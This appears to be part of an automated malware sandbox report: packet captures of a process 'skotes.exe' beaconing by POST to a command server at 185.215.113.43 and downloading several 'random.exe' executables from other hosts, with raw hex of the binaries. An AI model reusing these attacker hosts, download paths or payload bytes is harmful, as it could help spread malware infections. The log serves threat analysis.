00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 fe 03 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$x_c<><><>1>>$>I>>I/>I+>I>5F7>5F;><>)?I>I=>I=>I=>Rich<>PEL b00@P@p4P@ <#TU@0x .text `.rdata0 @@.data G@.didat0@.rsrc@@@.reloc<# $@B
Dec 16, 2024 13:16:11.990412951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 20 f0 43 00 e8 f5 4d 00 00 c3 cc cc cc cc cc b9 98 10 44 00 e9 6a 5b 00 Data Ascii: h CMDj[0D>hp+CiYh+CSYDDSxzEVh+CYE6h+CYrD
Dec 16, 2024 13:16:11.990425110 CET	448	IN	Data Raw: 00 ff 6a 40 88 46 30 8d 86 20 22 00 00 53 50 c7 86 c8 6c 00 00 02 00 00 00 89 9e cc 6c 00 00 89 9e d0 6c 00 00 89 9e d8 6c 00 00 89 9e e8 21 00 00 89 9e ec 21 00 00 88 9e d4 6c 00 00 66 89 9e dc 6c 00 00 89 9e f0 21 00 00 89 9e b8 6c 00 00 89 9e Data Ascii: j@F0 "SPllll!!lfl!llllj4`"SPj ESPM$l3llmmmmfmlm!^[dQ3$(,
Dec 16, 2024 13:16:11.990436077 CET	1236	IN	Data Raw: 00 00 56 8b f1 83 3e 00 74 1b 80 7e 10 00 74 0d 8b 46 08 03 c0 50 ff 36 e8 cd dd 00 00 ff 36 e8 af 27 02 00 59 8b 4d f4 64 89 0d 00 00 00 00 5e c9 c3 cc cc cc cc cc 56 8b f1 80 be d0 21 00 00 00 c7 06 f8 35 43 00 74 20 57 8b be d4 21 00 00 85 ff Data Ascii: V>t~tFP66'YMd^V!5Ct W!t>hWYY_V,2! 8H^~(VzD$th}V>YY^VL$NN;NFSU
Dec 16, 2024 13:16:11.990446091 CET	1236	IN	Data Raw: 53 75 0c 80 78 1e 46 75 06 80 78 1f 58 74 0a 8b 45 ec 46 3b f0 7c a7 eb 47 8b 03 03 ce 6a 00 6a 00 89 8b d8 6c 00 00 8b 70 10 51 8b ce ff 15 78 32 43 00 8b cb ff d6 8b 83 c8 6c 00 00 83 f8 02 74 05 83 f8 03 75 19 8b 03 8d 8b 10 22 00 00 57 51 8b Data Ascii: SuxFuxXtEF;\|GjjlpQx2Cltu"WQpx2ClMu[2M_^[dM?luC2Pj<u'"jWpx2Cu?uj_2"EEt>2E
Dec 16, 2024 13:16:11.990452051 CET	1236	IN	Data Raw: ff ff 8b 07 8b 70 08 8b ce ff 15 78 32 43 00 8b cf ff d6 32 c0 5e eb 02 b0 01 5f c2 04 00 55 8b ec 83 ec 4c ff 75 08 8d 4d b4 e8 94 f5 ff ff 8b 4d f4 83 f9 08 73 1d 8b 45 0c 89 44 8d b4 8b 4d f4 41 89 4d f4 83 f9 08 73 0a 8b 45 10 89 44 8d b4 ff Data Ascii: px2C2^_ULuMMsEDMAMsEDEMULuMRMs0EDMAMsEDMAMsEDEMJ>D$;Av+APcAVF2PjjDlL
Dec 16, 2024 13:16:11.990463972 CET	1236	IN	Data Raw: 8d 84 24 c0 00 00 00 50 50 e8 50 9e 00 00 68 00 08 00 00 8d 83 04 11 00 00 50 8d 84 24 c4 00 00 00 50 e8 3d f7 00 00 e9 46 03 00 00 83 f9 01 0f 82 3d 03 00 00 8b cf e8 e8 a7 00 00 8b cf e8 e1 a7 00 00 85 c0 0f 84 27 03 00 00 50 68 b4 36 43 00 8d Data Ascii: $PPPhP$P=F='Ph6CD$4jPWD$,hPC(PD$$L$D$T$t5tqjP@RP@L$D$L$t+Ht
Dec 16, 2024 13:16:11.990714073 CET	1236	IN	Data Raw: e8 06 74 09 83 e8 01 75 28 6a 05 eb 02 6a 03 58 89 83 00 22 00 00 8b f0 eb 17 89 93 00 22 00 00 8b f2 eb 0d 33 f6 c7 83 00 22 00 00 01 00 00 00 46 89 b3 f4 21 00 00 83 fe 75 74 0e 83 fe 01 75 0e f6 83 04 22 00 00 02 74 05 6a 06 58 eb 03 8d 41 f9 Data Ascii: tu(jjX""3"F!utu"tjXAPM"pllll"MHt*"MlljEY!E
Dec 16, 2024 13:16:11.990725040 CET	1236	IN	Data Raw: 85 d0 df ff ff 50 e8 30 d4 00 00 56 8b cb e8 a2 f2 ff ff e9 3f 01 00 00 68 00 08 00 00 51 8d 85 d0 df ff ff 50 e8 db ec 00 00 8b 46 0c 2b 45 50 f7 46 08 00 04 00 00 8d 78 e0 74 03 8d 78 d8 85 ff 0f 8e f6 00 00 00 8d 8e 28 10 00 00 57 e8 eb f1 ff Data Ascii: P0V?hQPF+EPFxtx(WW(7Mzhx6CuTYYY,AAAA!p!x2CVW!
Dec 16, 2024 13:16:11.990735054 CET	1236	IN	Data Raw: 86 4e 01 00 00 8b 83 d4 21 00 00 c6 45 6a 01 38 88 27 61 00 00 74 17 8d 43 32 50 6a 7f e8 16 e0 ff ff c6 83 dd 6c 00 00 01 e9 8f 07 00 00 8b 03 8d 4d 18 6a 10 51 8b 70 0c 8b ce ff 15 78 32 43 00 8b cb ff d6 83 f8 10 0f 85 17 01 00 00 8b 83 d4 21 Data Ascii: N!Ej8'atC2PjlMjQpx2C!$auEktEkE(3PQx"EP!\|"W$`8PjQ>,t"t}"jPE(P3td}kC2PPu^h!$`5
Dec 16, 2024 13:16:12.110486984 CET	1236	IN	Data Raw: 60 10 00 00 89 86 64 10 00 00 8b 8e 5c 10 00 00 8b be 64 10 00 00 8b 86 58 10 00 00 8b 96 60 10 00 00 3b cf 7c 06 7f 08 3b c2 77 04 8b c2 8b cf 89 8e 6c 10 00 00 8d 4d 30 89 86 68 10 00 00 e8 90 94 00 00 f6 86 94 10 00 00 02 89 46 24 74 16 8d 4d Data Ascii: `d\dX`;\|;wlM0hF$tM0\|jP@ptM0pLtM07E`N ?2N2tF'M0M0F"3BF"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:18.191544056 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016072001&unit=246122658369
Dec 16, 2024 13:16:19.522819996 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49724	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:19.645639896 CET	60	OUT	GET /files/flava/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:16:20.967937946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:20 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 14 Dec 2024 21:12:38 GMT Connection: keep-alive ETag: "675df4c6-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbYgH@H@T0h 1 H@.rsrc X@.idata 0Z@ )@\@ubvmxkob.z^@xdawalmhpH@.taggant0H"@
Dec 16, 2024 13:16:20.967964888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:20.967974901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:20.968132019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:20.968188047 CET	896	IN	Data Raw: 2b 56 60 82 81 22 3e dd c0 b7 04 63 08 21 00 f4 9c ff c3 13 76 a1 57 87 16 14 c0 c8 58 a0 8b a1 cf 21 63 04 a6 13 99 8b 24 95 43 7b 74 59 3a ec e3 5a 7a 4a 68 62 3f 34 e8 29 a6 cb 9a 2d ac 07 3e 47 cc 46 4e 9c da 4e fc 9a 7f 58 f5 5c 3f 0b f7 9a Data Ascii: +V`">c!vWX!c$C{tY:ZzJhb?4)->GFNNX\?@>-]?\|2Fo\|_{)?x\(kKwmzu>T4?/].tnEvT9M$mBJzY_7n4Zn=G-;p
Dec 16, 2024 13:16:20.968200922 CET	1236	IN	Data Raw: 76 45 0d 0c 57 3d 7a d6 ea 9c c8 eb b4 55 53 08 a2 df dd 6a b0 e1 ba 0a d7 45 87 6b d4 6e be ea ed 84 c6 34 05 29 c3 e2 fc e4 7b f7 20 f1 ba 15 01 85 4d 17 aa 21 55 65 d8 4d fd e2 f8 d5 df 36 a5 ca 4b 27 1a 21 d0 32 cf 33 cd 0a ec f9 ce 68 0f fd Data Ascii: vEW=zUSjEkn4){ M!UeM6K'!23hmDv'u/5`a{g8~=Ug pI@xjmX}F&DOgfCsf%}x!h$(-)i{]etzoJU5fQ"4hW[Bdh%H
Dec 16, 2024 13:16:20.968210936 CET	1236	IN	Data Raw: f7 4c d4 ba 97 22 51 ca f9 ae 5a 42 fa 32 ec f1 44 08 40 7e 98 4e 69 1f 08 9e 03 bc 14 1a 02 8c a3 04 1d b3 40 62 60 e5 58 13 a2 55 2d 22 05 58 dc 79 9c e3 ce 08 a1 16 c1 d5 8f 6a d0 9e b3 98 9d 04 ca 02 19 c1 fa 0b cd 24 41 83 ef 01 fd 9b 4b b2 Data Ascii: L"QZB2D@~Ni@b`XU-"Xyj$AK(8tl+lIgyv_(yy=3rDy+8AVvSAya)$9I29T6,M3)=E{bX53}$6s>L<}kz=J&R
Dec 16, 2024 13:16:20.968223095 CET	1236	IN	Data Raw: d5 db b2 d0 d8 e7 51 27 95 2c 69 21 c7 2b 80 ca d4 fb 67 53 9c 40 0e 55 c4 a4 d5 c5 49 ab 67 36 c4 83 96 a3 f4 21 89 16 eb c1 e0 12 9c 84 fd 6b bc 99 e8 92 0e ea 5e 35 3a 2d 5b eb 49 15 53 29 46 6a 9f 5a 47 d0 98 f7 cc 9a f5 62 69 57 ed 7a f0 67 Data Ascii: Q',i!+gS@UIg6!k^5:-[IS)FjZGbiWzg87"?9bh"}/W*wn=91xRz:{AV@)% L\|?v'i4H ul#ENw[hYuBkHb^k2?qXziq
Dec 16, 2024 13:16:20.968354940 CET	672	IN	Data Raw: f8 f9 28 07 c8 67 8b 85 c8 3a 50 0c e0 0a b1 ff ba 75 b2 25 da 92 5a 49 18 1d 70 16 fd 3f c2 07 f5 49 0b 8f 94 86 c7 14 c2 14 f7 33 43 9c 9f 7e 4c 17 3f 9f 12 62 75 c5 f2 81 64 8a 55 5b 65 d4 55 85 c9 50 fa 32 2f 54 5b 1f 8a 36 cc 74 4a 4f c4 a6 Data Ascii: (g:Pu%ZIp?I3C~L?budU[eUP2/T[6tJO5HNB'$+Ym!rwD;)2*Rk=qxl8F6.\|.V4nQQ5zH-abHxJnw3F//[}u59SX[R-i.B
Dec 16, 2024 13:16:20.968367100 CET	1236	IN	Data Raw: 06 cc 72 61 9d 47 ab 12 2e f0 71 2f 47 2f 1f 1c 93 84 89 e3 e6 d8 00 16 db 9b 80 06 ae 5e 04 c6 30 c0 c7 c5 a6 91 8b 74 34 a5 c4 8e 24 9d 05 45 01 2b 60 19 79 56 9a eb ec 61 fa b2 23 0e b6 f1 ae db 59 63 45 9b 25 4b d3 b3 26 ac 5a 5f 36 97 5e 53 Data Ascii: raG.q/G/^0t4$E+`yVa#YcE%K&Z_6^S%X&b$;CkWC)6O-iL&9%0)NCON"b\Q3E>gH_kIJf<mjhx+9nv(fptFP
Dec 16, 2024 13:16:21.088310003 CET	1236	IN	Data Raw: 3e 73 ca d8 0c 17 85 85 95 b2 c7 16 53 13 9f 6b 74 32 cc 07 d4 09 88 42 91 8b 78 68 39 10 f0 18 16 22 af 04 02 d3 29 04 cc 35 b5 88 e0 9e 05 ad 18 a7 9b db e7 4b 89 dd 70 f8 5b b2 dc 06 b4 a6 bb 57 b7 25 f8 22 bf 94 83 fc db 10 14 73 db 33 1c 1a Data Ascii: >sSkt2Bxh9")5Kp[W%"s3t.z8,"P9ne))x$2w<;lD8[@.(0NzEZ5`?-A/9m"LJ]qtw6WMmUw07G)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49740	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:26.874926090 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016092001&unit=246122658369
Dec 16, 2024 13:16:27.773441076 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49746	185.215.113.16	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:27.897290945 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 13:16:29.241214037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:28 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Mon, 16 Dec 2024 11:36:53 GMT Connection: keep-alive ETag: "676010d5-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 e2 07 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@0J@T0h 1 H@.rsrc X@.idata 0\@ *@^@ghqbbjwf / `@ewjbyieyI@.taggant0J"@
Dec 16, 2024 13:16:29.241244078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:29.241255999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:29.241328955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:29.241348982 CET	1236	IN	Data Raw: d7 41 6c f8 60 6e e9 2d 86 38 c7 cd 66 18 99 c4 4d a8 10 c0 e8 c1 ed 58 2b ed 42 a8 08 ab 03 65 df 71 92 55 65 35 eb 0a 18 e1 02 c3 90 59 cd 5b 61 28 ea 8a f0 66 03 6f 50 f8 c8 09 29 10 cd 64 92 3f 1c 7a 1c a3 36 1a 5d b2 8b 01 15 4a 35 41 26 45 Data Ascii: Al`n-8fMX+BeqUe5Y[a(foP)d?z6]J5A&EIA`CLP)K'uk?K$(PH}/Qp7 +1@Dm 72\|ywlrLjk43RHbK#<ss/LEJD AP"2E+$t,k}}
Dec 16, 2024 13:16:29.241362095 CET	1236	IN	Data Raw: 98 fb a8 0d 59 0b 0c f9 e8 2a 04 8f 42 d3 50 a2 3d 09 e8 6d b7 4d 29 10 1d 0b 48 c1 a4 65 09 59 d3 d7 af 56 5d 3d 57 d1 74 89 c8 cd 09 a0 eb cb 0d 09 c9 1a 11 cd ce 26 ca f9 94 e2 cf 53 5e 0b 29 e1 a3 1f fa 27 92 ef 29 5d f0 09 53 31 c9 45 3b 99 Data Ascii: YBP=mM)HeYV]=Wt&S^)')]S1E;FFH1vO1h:tq\|<]YYrG;Y.Em!Jc.VxNJwB=5MSlY)N9-r)nZ`Eu'@?aa`^+Q!h[pAWNQ
Dec 16, 2024 13:16:29.241374016 CET	1236	IN	Data Raw: d9 8b 81 b0 e6 95 f3 f9 27 5e 15 c0 00 e1 c1 a1 29 e9 40 c2 99 c8 3f af d0 c2 e0 07 18 2e 46 a2 5b a4 81 4d 39 aa 77 74 82 de 14 43 6e 6d 22 73 15 92 cb bf a9 58 73 59 e1 26 7f 68 e3 c9 a9 f0 c1 89 6f 5a 59 69 3f c2 04 5b 46 48 00 ca 84 82 1c 3c Data Ascii: '^)@?.F[M9wtCnm"sXsY&hoZYi?[FH<+ZbRC9.uLA)~/S8XgAhF,Jm<.hW?k+$lUN`q[0K~u2oNR),(qSG
Dec 16, 2024 13:16:29.241565943 CET	1236	IN	Data Raw: 0b 37 23 0f 11 b0 18 a7 9d 20 2f 4e 41 d6 76 9b f1 ff f4 2a 50 ae 07 0f a2 e8 9c 5c 8d bd 20 fb 55 34 24 f7 5a 61 bb 2d 45 25 11 e9 48 c8 0d cc 53 45 e9 b1 fc c3 89 6d c6 23 cc 54 31 51 27 a0 49 49 f4 4a 13 5c d9 c4 9f 9f 35 b9 0a 19 c9 3b 27 27 Data Ascii: 7# /NAv*P\ U4$Za-E%HSEm#T1Q'IIJ\5;''WKb{.a2=B[2gl8!9ifm#?`2iCXi4#(Z%2;rPv-U H6&}c(Km7<xM51y@n1PJ\|C[DJ(0
Dec 16, 2024 13:16:29.241578102 CET	1236	IN	Data Raw: e9 d8 86 39 59 27 5d 1d 5b ef fb c4 48 cb cc 90 00 13 2c 7d c9 00 0a c9 89 3d 09 be 20 f8 01 7d 90 3d 07 83 de 6c f7 41 13 11 a1 6f 2d 03 41 c2 d2 4f ff cd f9 bb 81 e0 9a a9 c2 58 34 90 99 dd 5c 15 b6 36 fd d4 84 01 13 38 85 c4 52 0f cf 54 70 73 Data Ascii: 9Y'][H,}= }=lAo-AOX4\68RTpsp<3Q7bVR@hQ[<&F>jzj@]\L931=JPmXs@Wd=KFE46U=3.}gJmGm{[i\|T`X
Dec 16, 2024 13:16:29.241585970 CET	1236	IN	Data Raw: 49 29 c8 ca bb c3 c2 04 1d de b6 80 b5 e6 54 04 98 c2 2c 69 89 9e e4 50 9d ae 2c 09 5b b8 9e 03 59 58 c2 d0 98 c0 7a b4 fc e8 34 30 e2 88 3f 1f 1b 08 9f c9 8b 79 39 c9 13 a9 29 99 59 3b f9 58 90 69 9a b6 c7 8f 21 7b 3d 39 5a 08 49 43 2c 55 40 7d Data Ascii: I)T,iP,[YXz40?y9)Y;Xi!{=9ZIC,U@}s)y<T"jpVzJU^h"y8~$6DzqM)MpelUIxlZi:C-_`#~2\=t,8wLy 8BZl&2)0X+=&;tc
Dec 16, 2024 13:16:29.361140966 CET	1236	IN	Data Raw: 94 67 15 6c 49 78 cf 59 a2 cd d2 bc 88 2e fa 3c 37 39 08 8a 55 2f 44 6d 91 36 4c 5f e8 13 64 50 4d 6b 64 43 eb 3f 7c 0d 13 da 83 4e 20 89 82 5d f1 82 38 b0 ee 99 b8 45 f2 0c ec 15 8f a1 43 31 de ad bb 2f 40 69 ff 50 1b 97 82 db 10 56 19 66 4d 02 Data Ascii: glIxY.<79U/Dm6L_dPMkdC?\|N ]8EC1/@iPVfM9G4aUO kEB6"1^vy jtTl[R+[xuKeF;\|H#<w i Y]'^0*`QC9~_{AX=CY5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49764	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:34.914377928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016093001&unit=246122658369
Dec 16, 2024 13:16:36.252579927 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49770	185.215.113.16	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:36.375379086 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 13:16:37.722862959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:37 GMT Content-Type: application/octet-stream Content-Length: 1822720 Last-Modified: Mon, 16 Dec 2024 11:36:47 GMT Connection: keep-alive ETag: "676010cf-1bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 0b 36 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgi@j6@M$a$$ $h@.rsrc$x@.idata $z@ $\|@adligwjc0O*~@fnzkdocei@.taggant0i"@
Dec 16, 2024 13:16:37.722886086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:37.722898960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:16:37.722909927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
